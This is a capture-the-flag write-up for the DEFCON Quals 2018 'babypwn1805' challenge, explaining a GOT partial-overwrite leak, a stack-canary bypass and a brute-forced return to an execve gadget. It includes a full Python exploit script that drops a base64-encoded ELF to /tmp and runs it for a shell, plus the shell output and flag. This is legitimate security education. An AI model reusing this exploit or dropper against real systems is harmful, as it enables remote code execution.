DEFCON Quals 2018: "babypwn1805" writeup

This “baby” task consisted of exploiting the following short C program without being given the compiled binary:

/* includes omitted */

char asdf[1024];

int main()
{
    long long index = 0;

    alarm(5);
    read(0, &index, 1024);
    read(0, asdf+index, 8);
    read(0, &index, 1024);
}

First of all, sending long strings threw a stack canary error, so we knew those needed to be circumvented somehow.

To acquire information on the environment, we guessed the offset to the GOT entry of read (-0x38 from the buffer), guessed that read and write share their address in the libc except for the least significant byte (they’re usually close), overwrite the LSB of read() to hopefully turn it into a write() to leak 1024 bytes to stdin (which here was the same socket as stdout). For us, 0x60 as the LSB worked. This leak sometimes included environment variables, among those the libc filename which contained a hash. With that hash that specific libc could be found online. The libc was randomized on every connection; we used MD5 ac6e8213081cc6f5a16779214a90d952.

Once we found that libc, we filtered for it every time before trying to run the exploit by simply applying the same changes to the GOT and seeing if something came back from the server. If yes then the current connection had the right libc and we could attack the binary every 5 seconds up to 200 times (as it turned out).

To exploit the program, we then guessed some more offsets based on a locally compiled version of the binary: We assumed the GOT entry of __stack_chk_fail to be at -0x48 from the buffer and that there would be a ret instruction at the location obtained from the original GOT entry by overwriting the LSB with 0x96. (Note that the GOT entry still points into the binary rather than libc since it’s never been called.) Amazingly, even the guess of 0x96 was correct.

After negating the stack canaries by pointing the GOT entry of the function __stack_chk_fail to a ret, we simply did a partial overwrite on the return address of main() to a “win” gadget in the libc we found earlier. This involves a brute force of 12 bits since the offset of the original return address (0x21ec5, somewhere in __libc_start_main) is quite far from the win gadget we used:

e681d:  48 8b 05 84 76 2d 00    mov    rax, [rip+0x2d7684]
e6824:  48 8d 74 24 70          lea    rsi, [rsp+0x70]
e6829:  48 8d 3d ab 64 09 00    lea    rdi, [rip+0x964ab]
e6830:  48 8b 10                mov    rdx, [rax]
e6833:  e8 f8 aa fd ff          call   c1330 <execve@@GLIBC_2.2.5>

Since the alarm(5) would kill the (sometimes) resulting shell quite soon, our first-stage payload was a small ELF (written to /tmp/) that would just call alarm(0) and execve /bin/sh once more. Finding the flag was still super annoying because it was in a directory inside /opt/ which wasn’t readable to our user (the CTF organizers announced this was by accident) but finally we found the right folder by looking at the environment variable OLDPWD of the pwnable instance which pointed to /opt/ctf/babypwn/home/ (see the output below).

The final exploit script:

#!/usr/bin/env python3
import sys, socket, time, re, subprocess, struct, telnetlib
import hashlib

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1

def reconnect():
    sock = socket.socket()
    sock.connect(('e4771e24.quals2018.oooverflow.io', 31337))
    time.sleep(1)
    s = sock.recv(0x100).decode()
    chall = re.search('Challenge: (.{10})', s).groups()[0]
    n = int(re.search('n: ([0-9]+)', s).groups()[0])
    resp = solve_pow(chall, n)
    sock.send('{}\n'.format(resp).encode())
    s = sock.recv(0x100)
    if s != b'Go\n':
        print(s)
        exit(1)
    return sock

wait = lambda: (sys.stdout.flush(), time.sleep(.3))

for i in range(0x100):

    sock = reconnect()

    sock.send(struct.pack('<q', -0x38))
    print('.', end = ''); wait()

    sock.send(b'\x60')  # read -> write
    print('.', end = ''); wait()

    print('?', end = ' '); wait()

    s = sock.recv(0x1000)
    print(s)
    if b'\xc8\xff\xff\xff' not in s:
        continue

    for j in range(199):

        print('{:5d}'.format(j), end = ' ')

        sock.sendall(struct.pack('<q', -0x48))
        print('.', end = ''); wait()

        sock.sendall(b'\x96') # stack_chk_fail -> ret
        print('.', end = ''); wait()

        sock.sendall(
                b'X' * 8            # index
              + b'C' * 8            # cookie
              + b'\0' * 8           # saved rbp
              + b'\x1d\x78\x78'     # partial overwrite -> win
            )
        print('!', end = ''); wait()

        sock.sendall(b'echo ')
        print('.', end = ''); wait()
        sock.sendall(b'pwnd\n')
        print('?', end = ' '); wait()

        s = sock.recv(0x1000)
        print(s)
        if b'pwnd' in s:
            sock.send(b'export LD_PRELOAD=\n')
            sock.send(b'id; echo\n')
            sock.send(b'pwd; echo\n')
            sock.send(b'env; echo\n')
#            sock.send(b'find / | LD_PRELOAD= grep -i flag; echo\n')
            sock.send(b'echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAANAAAAAAAAAAAAAAAEAAOAABAEAAAwACAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAuQAAAAAAAAC5AAAAAAAAAAAAIAAAAAAAMf+4JQAAAA8FSI08JaEAQABIjTQlqQBAAEiNFCWxAEAAuDsAAAAPBcwvYmluL3NoAKEAQAAAAAAAAAAAAAAAAAAALnNoc3RydGFiAC50ZXh0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAQAAAAYAAAAAAAAAeABAAAAAAAB4AAAAAAAAAEEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAuQAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA== | base64 -d > /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
            sock.send(b'chmod +x /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
            sock.send(b'echo payload?\n')
            sock.send(b'exec /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
            wait()
            sock.send(b'echo still there.\n')
            sock.send(b'rm /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
            sock.send(b'echo shell!\n')
            sock.send(b'cat /opt/ctf/babypwn/home/flag\n') # added after I found it

            print('\n$$$$$$$$$$$$$$$$\n')

            tel = telnetlib.Telnet()
            tel.sock = sock
            tel.interact()

            exit()

Among other things, running (multiple parallel instances of) this script for long enough finally returns with a shell and, once we found the right path, the flag:

..? b"\xc8\xff\xff\xff\xff\xff\xff\xff\x00\xe8M\x98j\xb6\xe3\xb3\x00\x00\x00\x00\x00\x00\x00\x00\xc5\x9e\x10\xd3\xa0\x7f\x00\x00\x005\x95uGV\x00\x00\xf8\xb5u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xfa6\x95uGV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd6\x9b\x9f\xcb\xcbz\x11\xf4\xf05\x95uGV\x00\x00\xf0\xb5u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd6\x9b\xdf\xa1 l\xea\x0b\xd6\x9be\xf7\xea\xdcP\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\xd7K\xd3\xa0\x7f\x00\x00`'J\xd3\xa0\x7f\x00\x00\xf3F\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf05\x95uGV\x00\x00\xf0\xb5u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a6\x95uGV\x00\x00\xe8\xb5u\x8b\xfd\x7f\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00e\xceu\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xceu\x8b\xfd\x7f\x00\x00\xcd\xceu\x8b\xfd\x7f\x00\x00\xda\xceu\x8b\xfd\x7f\x00\x00\xf7\xceu\x8b\xfd\x7f\x00\x00&\xcfu\x8b\xfd\x7f\x00\x00?\xcfu\x8b\xfd\x7f\x00\x00W\xcfu\x8b\xfd\x7f\x00\x00x\xcfu\x8b\xfd\x7f\x00\x00\x80\xcfu\x8b\xfd\x7f\x00\x00\xc2\xcfu\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\xb0|\x8b\xfd\x7f\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xff\xfb\x8b\x17\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00@0\x95uGV\x00\x00\x04\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\xd0J\xd3\xa0\x7f\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\xf05\x95uGV\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\xa9\xb7u\x8b\xfd\x7f\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\xde\xcfu\x8b\xfd\x7f\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\xb9\xb7u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\xe8M\x98j\xb6\xe3\xb3\xcf\xe5e\xbd\x08z\xeb\xcdx86_64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Go\n"
    0 ..!.? b'Go\nGo\n'
    1 ..!.? b'Go\nGo\n'
    2 ..!.? b'Go\nGo\n'
    3 ..!.? b'Go\nGo\n'
[...]
  101 ..!.? b'Go\nGo\n'
  102 ..!.? b'Go\nGo\n'
  103 ..!.? b'Go\nGo\n'
  104 ..!.? b'pwnd\n'

$$$$$$$$$$$$$$$$

uid=1010(babypwn) gid=1010(babypwn) groups=1010(babypwn)

/opt/ctf/babypwn/bin

REMOTE_HOST=::ffff:1.3.3.7
SHLVL=2
OLDPWD=/opt/ctf/babypwn/home
JOURNAL_STREAM=9:580166
_=/opt/ctf/babypwn/bin/baby
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=dc0f79078667c9c2425f6cb008d64e76
LD_PRELOAD=
LANG=C.UTF-8
PWD=/opt/ctf/babypwn/bin

payload?
still there.
shell!

OOO{to_know_the_libc_you_must_become_the_libc}